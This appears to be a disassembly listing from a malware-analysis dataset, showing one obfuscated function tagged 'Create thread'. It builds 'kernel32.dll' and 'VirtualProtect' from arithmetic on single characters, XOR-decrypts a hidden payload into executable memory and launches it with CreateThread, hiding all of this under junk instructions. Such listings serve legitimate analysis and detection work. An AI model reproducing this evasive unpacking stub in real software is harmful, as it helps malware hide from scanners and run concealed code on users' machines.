Function at 0x164dc74
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push 0xcca3f9b4
add esp, 4
popfd
call fcn.0164dffd
pushfd
inc ecx
dec ecx
popfd
push esi
push edx
pop edx
pop esi
lea eax, [ebp - 0xd8]
xchg edi, eax
xchg edi, eax
mov ebx, 0x61
xchg ecx, ecx
add bx, 0xa
pushfd
push ebx
add esp, 4
popfd
xchg esi, esi
mov word [eax], bx
mov eax, eax
sub bx, 6
pushfd
push edx
add esp, 4
popfd
mov word [eax + 2], bx
pushfd
push edi
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
add bx, 0xd
xchg edi, edi
push edi
pop edi
mov word [eax + 4], bx
pushfd
push edx
add esp, 4
popfd
push esi
pop esi
sub bx, 4
xchg edi, eax
xchg edi, eax
mov word [eax + 6], bx
pushfd
inc eax
dec eax
popfd
push ebx
push ecx
pop ecx
pop ebx
sub bx, 9
pushfd
push 0x30a857ea
add esp, 4
popfd
mov word [eax + 8], bx
push esi
push ecx
pop ecx
pop esi
push ecx
push eax
pop eax
pop ecx
add bx, 7
pushfd
inc eax
dec eax
popfd
mov esi, esi
mov word [eax + 0xa], bx
xchg edx, edx
nop
sub bx, 0x39
pushfd
push edi
add esp, 4
popfd
push edi
pop edi
mov word [eax + 0xc], bx
xchg edx, edx
xchg ebx, ebx
dec bx
push edi
push ebx
pop ebx
pop edi
mov word [eax + 0xe], bx
pushfd
inc ebx
dec ebx
popfd
sub bx, 4
pushfd
push 0xbf87e329
add esp, 4
popfd
push esi
push eax
pop eax
pop esi
mov word [eax + 0x10], bx
pushfd
push edx
add esp, 4
popfd
add bx, 0x36
mov esi, esi
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 0x12], bx
pushfd
push esi
add esp, 4
popfd
add bx, 8
push edx
push ecx
pop ecx
pop edx
mov word [eax + 0x14], bx
push ecx
push esi
pop esi
pop ecx
push eax
push ebx
pop ebx
pop eax
mov word [eax + 0x16], bx
push edx
pop edx
mov word [eax + 0x18], 0
xchg esi, ebx
xchg ebx, esi
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push eax
push edi
pop edi
pop eax
mov dword [ebp - 0x10], eax
push eax
pop eax
mov edi, edi
lea eax, [ebp - 0xd8]
push edx
pop edx
mov ebx, 0x61
push edi
pop edi
sub bl, 0xb
push ecx
pop ecx
mov eax, eax
mov byte [eax], bl
push edi
push edx
pop edx
pop edi
add bl, 0x13
push esi
pop esi
mov byte [eax + 1], bl
pushfd
inc ebx
dec ebx
popfd
add bl, 9
xchg edx, edi
xchg edi, edx
mov byte [eax + 2], bl
push ebx
push eax
pop eax
pop ebx
pushfd
inc edi
dec edi
popfd
add bl, 2
pushfd
xor esi, 0x3065bc46
xor esi, 0x3065bc46
popfd
push ecx
pop ecx
mov byte [eax + 3], bl
pushfd
push edx
add esp, 4
popfd
inc bl
pushfd
xor ecx, 0x4f8fbe0c
xor ecx, 0x4f8fbe0c
popfd
mov byte [eax + 4], bl
pushfd
push 0xa1d9de2b
add esp, 4
popfd
mov ebx, ebx
sub bl, 0x14
pushfd
inc ecx
dec ecx
popfd
pushfd
xor ecx, 0x138ec0b
xor ecx, 0x138ec0b
popfd
mov byte [eax + 5], bl
pushfd
inc edx
dec edx
popfd
add bl, 0xb
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 6], bl
xchg edi, edx
xchg edx, edi
sub bl, 0x1c
pushfd
inc ebx
dec ebx
popfd
mov esi, esi
mov byte [eax + 7], bl
xchg ebx, esi
xchg esi, ebx
add bl, 0x22
xchg edx, eax
xchg edx, eax
pushfd
xor eax, 0xaabfa103
xor eax, 0xaabfa103
popfd
mov byte [eax + 8], bl
mov esi, esi
sub bl, 3
pushfd
push ebx
add esp, 4
popfd
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 9], bl
mov eax, eax
add bl, 5
mov ebx, ebx
mov byte [eax + 0xa], bl
push edi
pop edi
pushfd
inc edi
dec edi
popfd
sub bl, 0xf
pushfd
push 0xc3dfceff
add esp, 4
popfd
mov byte [eax + 0xb], bl
pushfd
push ecx
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
sub bl, 2
pushfd
xor edx, 0x52ab1611
xor edx, 0x52ab1611
popfd
xchg edi, edi
mov byte [eax + 0xc], bl
pushfd
push esi
add esp, 4
popfd
add bl, 0x11
xchg ecx, eax
xchg ecx, eax
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0xd], bl
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xe], 0
pushfd
push 0xfea88684
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg ecx, edx
xchg edx, ecx
push ebx
pop ebx
mov dword [ebp - 0xc], eax
xchg edx, ecx
xchg ecx, edx
lea eax, [ebp - 8]
pushfd
inc ecx
dec ecx
popfd
push eax
push 4
push 0xc332ef
push entry0
call dword [ebp - 0xc]
pushfd
inc esi
dec esi
popfd
push eax
push esi
pop esi
pop eax
mov edi, entry0
nop
xchg ecx, eax
xchg ecx, eax
mov esi, 0x40100e
push edx
pop edx
mov ecx, 0xc332ef
push edx
pop edx
pushfd
push 0x3908e15
add esp, 4
popfd
mov edx, 0x1aa9c5
xchg edx, esi
xchg esi, edx
mov ebx, 0x35ab22e9
push esi
push eax
pop eax
pop esi
cld
xchg esi, esi
lodsb al, byte [esi]
mov ebx, ebx
xor al, dl
xchg ebx, ebx
stosb byte es:[edi], al
mov eax, eax
ror edx, 5
nop
imul edx, edx, 7
mov ebx, ebx
test ebx, 1
xchg ebx, ebx
je 0x164df73
mov ecx, ecx
add esi, 1
xchg ecx, ecx
ror ebx, 1
xchg esi, esi
dec ecx
mov esi, esi
test ecx, ecx
mov edx, edx
jne 0x164df4d
mov ebx, ebx
xchg edi, edi
lea eax, [ebp - 8]
push edx
push esi
pop esi
pop edx
push eax
push 0x20
push 0xc332ef
push entry0
call dword [ebp - 0xc]
push edx
pop edx
lea eax, [ebp - 4]
push edx
pop edx
xchg esi, esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0x1a0b7958
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push ebx
add esp, 4
popfd
jmp 0x164dfc2